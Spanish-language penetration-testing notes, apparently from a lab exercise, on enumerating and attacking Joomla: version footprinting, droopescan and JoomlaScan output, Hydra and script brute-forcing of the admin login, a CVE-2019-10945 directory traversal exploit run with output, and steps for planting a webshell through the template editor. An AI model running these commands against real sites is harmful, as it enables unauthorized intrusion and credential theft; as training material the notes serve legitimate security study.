Joomla — Discovery & Enumeration
Joomla es el segundo CMS más popular después de WordPress. Comparte varios patrones de enumeración (footprinting vía meta tags, archivos de versión, escáneres dedicados), pero tiene su propia estructura de directorios y superficie de ataque (componentes, configuration.php).
Distribución de versiones en uso (contexto)
Útil para calibrar qué tan probable es encontrar una versión desactualizada/vulnerable en un objetivo dado:
❯ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 3.49,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 13,
"3.6": 24.29,
"3.7": 8.5,
"3.8": 18.84,
"3.9": 30.28,
"4.0": 1.52,
"4.1": 0
},
"total": 2776276
}
}Discovery / Footprinting
Confirmar Joomla vía el meta tag generator:
❯ curl -s http://dev.empresacorp.local/ | grep Joomla
<meta name="generator" content="Joomla! - Open Source Content Management" />robots.txt de Joomla revela la estructura estándar de directorios internos (útil incluso sin acceso, ya que confirma qué rutas existen):
User-agent: *
Disallow: /administrator/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/- Nota: si Joomla está instalado en un subdirectorio (
/joomla/), elrobots.txtdebe estar en la raíz del sitio con las rutas prefijadas — su ausencia en la raíz no descarta Joomla instalado en un subdirectorio.
README.txt en la raíz suele confirmar la rama de versión (aunque no siempre la versión exacta):
❯ curl -s http://dev.empresacorp.local/README.txt | head -n 5
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/stagingEl manifiesto de actualización revela la versión exacta instalada:
❯ curl -s http://dev.empresacorp.local/administrator/manifests/files/joomla.xml | xmllint --format -
<?xml version="1.0" encoding="UTF-8"?>
<extension version="3.6" type="file" method="upgrade">
<name>files_joomla</name>
<author>Joomla! Project</author>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<copyright>(C) 2005 - 2019 Open Source Matters. All rights reserved</copyright>
<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
<version>3.9.4</version>
<creationDate>March 2019</creationDate>
<SNIP>Enumeración automatizada
Droopescan
Aunque su nombre sugiere Drupal, droopescan también soporta Joomla (y Silverstripe):
❯ sudo pip3 install droopescan❯ droopescan -h
usage: droopescan (sub-commands ...) [options ...] {arguments ...}
|
___| ___ ___ ___ ___ ___ ___ ___ ___ ___
| )| )| )| )| )|___)|___ | | )| )
|__/ | |__/ |__/ |__/ |__ __/ |__ |__/|| /
|
=================================================
commands:
scan
cms scanning functionality.
stats
shows scanner status & capabilities.
optional arguments:
-h, --help show this help message and exit
--debug toggle debug output
--quiet suppress all output
Example invocations:
droopescan scan drupal -u URL_HERE
droopescan scan silverstripe -u URL_HERE❯ droopescan scan joomla --url http://dev.empresacorp.local/
[+] Possible version(s):
3.8.10
3.8.11
3.8.11-rc
3.8.12
3.8.12-rc
3.8.13
3.8.7
3.8.7-rc
3.8.8
3.8.8-rc
3.8.9
3.8.9-rc
[+] Possible interesting urls found:
Detailed version information. - http://dev.empresacorp.local/administrator/manifests/files/joomla.xml
Login page. - http://dev.empresacorp.local/administrator/
License file. - http://dev.empresacorp.local/LICENSE.txt
Version attribute contains approx version - http://dev.empresacorp.local/plugins/system/cache/cache.xml
[+] Scan finished (0:00:01.523369 elapsed)JoomlaScan / OWASP joomscan
Herramientas dedicadas a enumerar componentes instalados (com_*), que son la fuente más común de vulnerabilidades en Joomla (a diferencia del core, generalmente bien mantenido):
❯ python2.7 joomlascan.py -u http://dev.empresacorp.local
-------------------------------------------
Joomla Scan
Usage: python joomlascan.py <target>
Version 0.5beta - Database Entries 1233
created by Andrea Draghetti
-------------------------------------------
Robots file found: > http://dev.empresacorp.local/robots.txt
No Error Log found
Start scan...with 10 concurrent threads!
Component found: com_actionlogs > http://dev.empresacorp.local/index.php?option=com_actionlogs
On the administrator components
Component found: com_admin > http://dev.empresacorp.local/index.php?option=com_admin
On the administrator components
Component found: com_ajax > http://dev.empresacorp.local/index.php?option=com_ajax
But possibly it is not active or protected
LICENSE file found > http://dev.empresacorp.local/administrator/components/com_actionlogs/actionlogs.xml
LICENSE file found > http://dev.empresacorp.local/administrator/components/com_admin/admin.xml
LICENSE file found > http://dev.empresacorp.local/administrator/components/com_ajax/ajax.xml
Explorable Directory > http://dev.empresacorp.local/components/com_actionlogs/
Explorable Directory > http://dev.empresacorp.local/administrator/components/com_actionlogs/
Explorable Directory > http://dev.empresacorp.local/components/com_admin/
Explorable Directory > http://dev.empresacorp.local/administrator/components/com_admin/
Component found: com_banners > http://dev.empresacorp.local/index.php?option=com_banners
But possibly it is not active or protected
Explorable Directory > http://dev.empresacorp.local/components/com_ajax/
Explorable Directory > http://dev.empresacorp.local/administrator/components/com_ajax/
LICENSE file found > http://dev.empresacorp.local/administrator/components/com_banners/banners.xml
<SNIP>- Los "Explorable Directory" (directorios sin protección de listado) son hallazgos de interés inmediato — pueden revelar archivos de configuración de ejemplo, backups, o logs de componentes.
Fuerza bruta de credenciales
❯ sudo python3 joomla-brute.py -u http://dev.empresacorp.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:adminAlternativa genérica con Hydra contra el formulario de login de /administrator/:
❯ hydra -l admin -P /usr/share/wordlists/rockyou.txt dev.empresacorp.local http-post-form "/administrator/index.php:username=^USER^&passwd=^PASS^&option=com_login&task=login:Username and password do not match"Ataques a Joomla
Directory Traversal autenticado (CVE-2019-10945)
Afecta a Joomla Core 1.5.0 hasta 3.9.4; requiere credenciales de administrador válidas, pero permite navegar/eliminar archivos arbitrarios fuera del directorio esperado a través de la funcionalidad de gestión de medios:
❯ python2.7 joomla_dir_trav.py --url "http://dev.empresacorp.local/administrator/" --username admin --password admin --dir /
# Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945
administrator
bin
cache
cli
components
images
includes
language
layouts
libraries
media
modules
plugins
templates
tmp
LICENSE.txt
README.txt
configuration.php
htaccess.txt
index.php
robots.txt
web.config.txtconfiguration.phpen el listado es un objetivo de alto valor: contiene las credenciales de la base de datos en texto plano — si el traversal/eliminación permite además lectura (dependiendo de la variante exacta del exploit), es un hallazgo crítico.
Otras vías de RCE comunes en Joomla
Cuando se dispone de credenciales de administrador válidas, el panel permite editar plantillas (templates) PHP directamente desde la interfaz — una vía de RCE simple y siempre presente en instalaciones sin hardening adicional:
Administrator panel > Templates > [seleccionar plantilla activa] > Editar archivo .php > insertar webshell > Guardar- Equivalente al vector de "Theme Editor" de WordPress — cualquier CMS que permita editar código PHP desde el panel de administración ofrece este mismo camino directo a RCE una vez comprometidas las credenciales de admin.
Componentes vulnerables (com_*)
La mayoría de CVEs de Joomla en la práctica corresponden a componentes/extensiones de terceros, no al core. Tras identificar los componentes instalados (ver JoomlaScan arriba), buscar cada uno en bases de datos de exploits:
❯ searchsploit joomla com_Notas de metodología
- Priorizar la identificación de la versión exacta (vía
joomla.xml) antes de intentar cualquier exploit específico de versión — muchos exploits públicos de Joomla son sensibles a variaciones menores de versión. - El panel
/administrator/es el objetivo principal para escalar de acceso no autenticado a RCE — cualquier hallazgo de credenciales (fuerza bruta, IDOR, archivos de backup expuestos) debe probarse ahí primero.